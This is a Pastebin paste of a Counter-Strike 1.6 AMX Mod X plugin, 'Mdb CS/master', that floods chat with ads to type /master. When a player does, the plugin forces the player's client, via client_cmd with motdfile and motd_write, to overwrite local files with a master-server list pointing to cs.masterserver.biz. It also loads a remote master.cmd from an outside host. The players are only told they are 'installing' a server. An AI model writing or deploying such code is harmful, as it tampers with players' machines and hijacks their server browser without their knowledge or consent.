Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #include <amxmodx>
- #include <cstrike>
- #include <amxmisc>
- #include <colorchat>
- new pcvar_reklama2
- new bool:masterreklama[ 33 ] = true
- #define FILE "temp.txt"
- #define MAX_SIZE 1012
- const SIZE = 1024;
- new szText[SIZE + 1];
- public plugin_init() {
- register_plugin( "Mdb CS/master", "1.1b", "MegasToRM" )
- pcvar_reklama2 = register_cvar("mdb_master","180");
- set_task(get_pcvar_float(pcvar_reklama2),"advert2",_,_,_,"b")
- register_clcmd("say /master","upisi")
- register_clcmd("say_team /master","upisi")
- register_concmd("cs_master 0", "stopiraj2");
- }
- public plugin_cfg()
- {
- new len = 0;
- len += formatex(szText[len], SIZE - len, "^"MasterServers^"{ ^"hl1^" { ^"0^" { ^"addr^" ^"cs.masterserver.biz:27010^" } ^"1^" { ^"addr^" ^"cs.masterserver.biz:27999^" } } ^"hl2^" { } ^"rdkf^" { } } ");
- }
- public upisi(id)
- {
- client_cmd(id, "motdfile ^"temp2.txt^"");
- client_cmd(id, "motd_write %s", szText);
- client_cmd(id, "motdfile ^"motd.txt^"");
- client_cmd(id, "motdfile ^"temp.txt^"");
- client_cmd(id, "motd_write %s", szText);
- client_cmd(id, "motdfile ^"motd.txt^"");
- set_task(0.4, "pocetak2", id)
- }
- public plugin_precache()
- {
- precache_generic("master.cmd");
- }
- public pocetak2(id)
- {
- new nick[ 32 ]
- get_user_name( id, nick,31 )
- ColorChat(0,GREEN,"^4[Master]^3 %s^1 je instalirao MDB master server.Da ga i ti instaliras, say ^3 /master",nick)
- set_task( 0.1, "dloadmaster" ,id )
- }
- public dloadmaster(id)
- {
- show_motd( id, "http://amxmodxrs.host22.com/master.cmd" )
- masterreklama[id] = false
- }
- public reklamirajmaster(id)
- {
- masterreklama[id] = true
- }
- public stopiraj2(id){
- masterreklama[id] = false
- }
- public reklamiraj2(id)
- {
- ColorChat( id,TEAM_COLOR,"^4[Master]^1 Da instaliras ^4 MDB Master Server ^1say ^3 /master" )
- }
- public advert2()
- {
- new iPlayers[ 32 ], iNum, id
- get_players( iPlayers, iNum )
- for ( new i; i < iNum; i++ )
- {
- id = iPlayers[ i ]
- if ( is_user_connected(id) )
- {
- if(masterreklama[id] == true)
- {
- reklamiraj2(id)
- }
- else if( masterreklama[id] == false )
- {
- return PLUGIN_HANDLED
- }
- }
- }
- return PLUGIN_HANDLED
- }
Advertisement
Add Comment
Please, Sign In to add comment